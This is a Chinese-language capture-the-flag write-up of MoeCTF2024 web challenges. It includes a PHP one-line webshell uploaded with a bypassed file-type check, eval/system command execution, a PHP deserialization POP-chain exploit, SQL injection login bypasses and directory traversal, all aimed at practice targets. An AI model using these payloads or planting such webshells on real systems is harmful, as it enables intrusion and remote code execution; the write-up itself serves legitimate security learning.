MoeCTF2024 Write UP

CTFerName:fifker
题目链接:https://ctf.xidian.edu.cn/training/10
文章内容有些是大一刚学习的时候写的,有些是后来补写的,没有仔细核验校改。如果出现有误或者语言风格不统一请见谅!

Web

1.Web渗透测试与审计入门指北


下载得到两个文件,先看看HTML。


只有一行字

看看HTML的源代码,结合PHP文件内容来看,只需要配置一下phpstudy,把这两个文件都扔到phpstudy下面的WWW里面。
然后使用http打开HTML文件。

即可获得flag

2.弗拉格之地的入口


由题目可以得知一个叫做‘爬虫’的生物,由此可以想到机器人协议。


直接修改URL,查看disallow


就可以获得flag了。

3.垫刀之路01: MoeCTF?启动!


题目告诉我们已经获得了shell权限。


那么根据习惯,我们直接查看根目录/,发现了flag的踪迹。


cat查看一下,得知需要查看环境变量:

1
env


查看环境变量可得flag。

4.ImageCloud前置


?URL是一个很经典的漏洞,开放重定向漏洞,因此我们可以控制重定向的目标。


得知flag所在地。


那就直接查看即可。


获得flag。

5.ez_http

一道经典考察http请求包的题目,但是流程较长,使用Hackbar容易崩溃。(包括使用者)

想都不用想,直接点击Hit the question setter
然后就会得到回复Big 胆
因此按照提示,使用POST方法传参。
由于使用Hackbar经常没办法坚持到流程结束,所以使用burp suite抓包。
(如图显示render的界面是发送后界面)


抓包并发送至repeater,选择render


如图所示,修改请求包,发送


同理


如图所示
这里涉及到两个知识点。
第一个是同时要使用POST方法和GET方法的时候,在HTTP请求包中使用POST方法。
第二个是GET方法传输汉字需要经过URL编码。


涉及到源头source,则使用referer朔源


设置曲奇饼干


修改代理浏览器


最后一步,本地访问,获得flag

6.ProveYourLove

(此题还有个七夕限定7分)

这里flag提示说’your love is not yet fulfilled’,那就代表要按照题目所说的表白300份


正常提交一份之后会发现无法再提交了。


因此打开bp,提交表白,寻找POST请求头的Http包。


将请求包发送至爆破模块


发送300+1条表白,表白成功,获得flag

7.弗拉格之地的挑战

这一题的流程也较长,题目难度从浅到深,很有意思,好玩!

首先看到下面的一个HTML文件,直接url转跳进去,开始第一关。

我们得知第一题的考点在HTML,又提到了一个关键词,空白。
那么我们学习HTML第一课就会提到注释这种东西。
F12查看源代码。


记下flag1,并且通过url转跳到flag2


flag2,习惯性看下源代码
既然说到了HTTP,那就代表需要抓包,bp启动!


抓包,然后扔到repeater,记下flag2,进入flag3

这个要求有点经典

GET的读取方法就在url里面

然后用hackbar POST一个参数b
(很好hackbar崩溃了,最后一步用bp来完成)


把认证从用户改成管理员即可。
记下flag3,继续向着flag4前进吧。

朔源,使用referer。

正式进入flag4。

听声辩位,要回答9,但是并没有。
阅读源代码,我们发现用POST方法传输一个’method=get’就可以了

(这里插播一个发现的预期解)

将按钮8的id改为9。


收好flag4,出发去flag5啦。

很明显直接输入’I want flag’是不行的。


阅读源代码,发现一个函数content。


同flag4,直接POST一个即可。


需要看代码了,来看看什么意思。
首先需要GET和POST方法都得到一个参数moe,并且要对这个moe里面的内容进行检索。
其次是参数moe里面有flag,但是又不能有flag。
那么我们就需要知道/i 的意思是大小写不敏感。
因此如果检索到有flag原原本本这四个字母,则会die。
但是如果输入Flag,fLag,在大小写敏感的情况下会检索不出来,但是不敏感的时候可以,则会echo出答案。


准备最后一关了。


最后一步,一个eval函数就已经告诉你了,这么危险的函数怎么不用下试试?


使用代码:

1
system()

或者
1
echo shell_exec()

(注意,括号里的命令是字符串。)
直接看一眼根目录有什么东西,看到了flag7。

拿到flag7。
我们可以发现7个flag都是一段字母,我们可以给它拼起来。
我们发现flag7的结尾是=,那么可以推测是Base64或者Base32。
放入在线解码器,获得flag。

至此7关完结,7关环环相扣,获得难度从低到高由浅入深,又涵盖了web方向常见的题目,用故事的方式引导参赛者一步一步学习前进,出的确实很巧妙。

8.垫刀之路02: 普通的文件上传


阅读题目,只需要写一个简单的木马就行。
我们可以写一个经典的一句话木马。

1
<?php @eval($_POST['muma']); ?>

导入进去就可以获得shell权限了。
使用hackbar用POST方法或者蚁剑都可以,连接。(以下使用hackbar)

导入木马。


根据上一题的经验,直接查看环境变量,获得flag。

9.垫刀之路03: 这是一个图床

由题目可知,这次只能上传图片了,那么我们就将上一题的木马后缀改为jpg。

导入的时候使用bp抓包,在http请求包中修改后缀位php。



如图所示。


后面的内容与第二题一样的,获得flag。

10.垫刀之路04: 一个文件浏览器


readme告诉你了,这些东西都没用,直接看看上一级文件。


可以看到一些其他东西,那么就继续一层一层往上爬。


找到了万恶的cfbb的藏宝点。


获得flag。

11.静态网页


直接攻击看板娘。
既然说了后端,那就尝试抓包。


抓一个,发现并不是。


抓到了下一步的php题了。



代码审计,如图所示即可获得flag。

12.垫刀之路05: 登陆网站


输入万能密码。

1
'or 1='1

13.垫刀之路06: pop base mini moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class A {
// 注意 private 属性的序列化哦
private $evil;

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
}

class B {
private $b;

function __invoke($c) {
$s = $this->b;
$s($c);
}
}


if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}

审计一下源代码:
通过GET方法获取参数data,然后对data进行反序列化的操作。

因为这几个PHP题目是后来补写的,这里就不详细说明各个魔术方法的作用了。根据类A的__destruct()方法可以推测出A是本道POP链子的入口点,因此:

1
2
$a = new A();
echo(urlencode(serialize($a)));

然后为了让链子能和类B相连,考虑到__invoke($c)魔术方法,因此就需要把类A的this->$a赋值为类B。然后我们会发现:

1
private $a = new B();

会报错。为什么?因为PHP的类属性的默认值只能接受字面量或常量,不能接受表达式(包括对象实例化)。

因此你可以给a赋值一个null、布尔值、整数、浮点数、字符串、数组。但是就是不能使用函数、方法调用或new操作符,因为这些表达式在编译时无法求值。

因此我们只能在运行的时候动态赋值:

1
2
3
function __construct() {
$this->a = new B;
}

这样在调用__destruct()方法的时候:

1
2
3
4
function __destruct() {
$s = $this->a;
$s($this->evil);
}

a作为一个类B的对象就会被当作函数调用从而触发__invoke()方法:

1
2
3
4
function __invoke($c) {
$s = $this->b;
$s($c);
}

类A的evil属性就会作为类B中的c属性被当作参数传入这个“函数b”。那么我们只需要将b设置为system函数,就可以实现RCE了!

最后的exp(直接在源代码上面审计,修改是一个很好的方法,因此我只在源代码基础上修改了需要改的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class A {
// 注意 private 属性的序列化哦
private $evil = "cat /flag";

// 如何赋值呢
private $a;

function __destruct() {
$s = $this->a;
$s($this->evil);
}
function __construct() {
$this->a = new B;
}
}

class B {
private $b = "system";

function __invoke($c) {
$s = $this->b;
$s($c);
}
}

$a = new A();
echo(urlencode(serialize($a)));

拿到flag。

后知后觉:这一题的class B根本用不上。我们重新审计代码:

1
2
3
4
function __destruct() {
$s = $this->a;
$s($this->evil);
}

我们会发现这里我们已经满足了RCE的全部条件。函数$s和参数$this->evil的内容我们全部可控。因此这样即可:

1
2
3
private $evil = "cat /flag";

private $a = 'system';

可能是为了考上面那个知识点吧。这里也告诉我们一道题未必所有类都要用上(有可能出题人有失误)。

14.垫刀之路07: 泄漏的密码


URL里直接跳转/console。


习惯性从根目录获得flag,但是被预判了。


放弃绝对路径,直接cat flag。

15.勇闯铜人阵

脚本题,写个脚本即可,脚本如下:

写出脚本,运行。


获得flag。

16.电院_Backend

dirsearch扫一下发现有robots.txt,发现admin路由。

进入后就是登陆界面了,看上去就是Sql注入入口。题目给了源码,看一眼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
session_start();

if($_POST){
$verify_code = $_POST['verify_code'];

// 验证验证码
if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
unset($_SESSION['captcha_code']);
exit;
}

$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}

$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);


$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

if($row){
$_SESSION['admin_id'] = $row['id'];
$_SESSION['admin_email'] = $row['email'];
echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
} else{
echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
unset($_SESSION['captcha_code']);
}
}
?>

这一看就是一个Sql注入,注入的位置在邮箱这里。来看看这里面的逻辑:

1
preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)

这是一个正则表达式,对邮箱的格式进行了一个限制,相信会看这篇文章的同学应该还没有接触过正则表达式。所以我们先来看看这个这个表达式是什么意思:

符号 含义 说明
/ 定界符 正则表达式的开始和结束
[a-zA-Z0-9] 字符类 匹配任意单个字母(大小写)或数字
+ 量词 匹配前面的字符类至少1次(1次或多次)
@ 字面量 匹配字符 @
[a-zA-Z0-9]+ 同上 匹配域名部分(@后面到点之前)
\\. 转义的点 匹配字面量点号 .(因为点在正则中是特殊字符)
[a-zA-Z0-9]+ 同上 匹配顶级域名(com、cn等)

因此,只要满足这个要求的邮箱都可以通过,比如:

邮箱 拆解
abc@def.com abc + @ + def + . + com
a1@b2.c3 a1 + @ + b2 + . + c3
123@456.789 纯数字也OK
admin@localhost.com 正常邮箱
1@1.1 最短情况(1个字符@1个字符.1个字符)

但是问题来了!这个正则表达式是没有锚定边界的。

补充说明:什么是锚定边界?

锚定边界就是使用^$来限制匹配的位置。

当前代码是这样的:

1
"/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/"

意思是在字符串的任意位置找到这个模式就算匹配成功,可以匹配字符串的开头、中间或结尾

这就意味着这些全部能匹配成功!你可以在邮箱前面后面塞入任何你想塞入的代码。

邮箱 拆解
xxx abc@def.com xxx 前后有字符
1@1.1’ or 1=1 后面拼接SQL
恶意代码1@1.1恶意代码 前后都可以

我们来对比一下有锚定边界的安全写法:

1
"/^[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/"
符号 含义
^ 匹配字符串开头
$ 匹配字符串结尾

这意味着整个字符串必须完全符合这个模式,不能多任何字符。

邮箱 拆解
abc@def.com 纯邮箱
xxx abc@def.com 不行,开头多了字符
abc@def.com xxx 不行,结尾多了字符
1@1.1’ or 1=1 不行,后面拼接SQL

因此,这个没有锚定边界的正则就可以直接无视,进行Sql注入。

然后是对于or的限制:

1
preg_match("/or/i", $email)

这里的参数i意味着大小写不敏感,也就是orOrORoR都不可以通过。这其实很简单,使用||就可以了…

所以最后的exp:

1
1@1.1' || 1=1 # 

17.pop moe

18.MessageBox

19.从零开始的 XDU 教书生活

20.ImageCloud

21.PetStore

22.smbms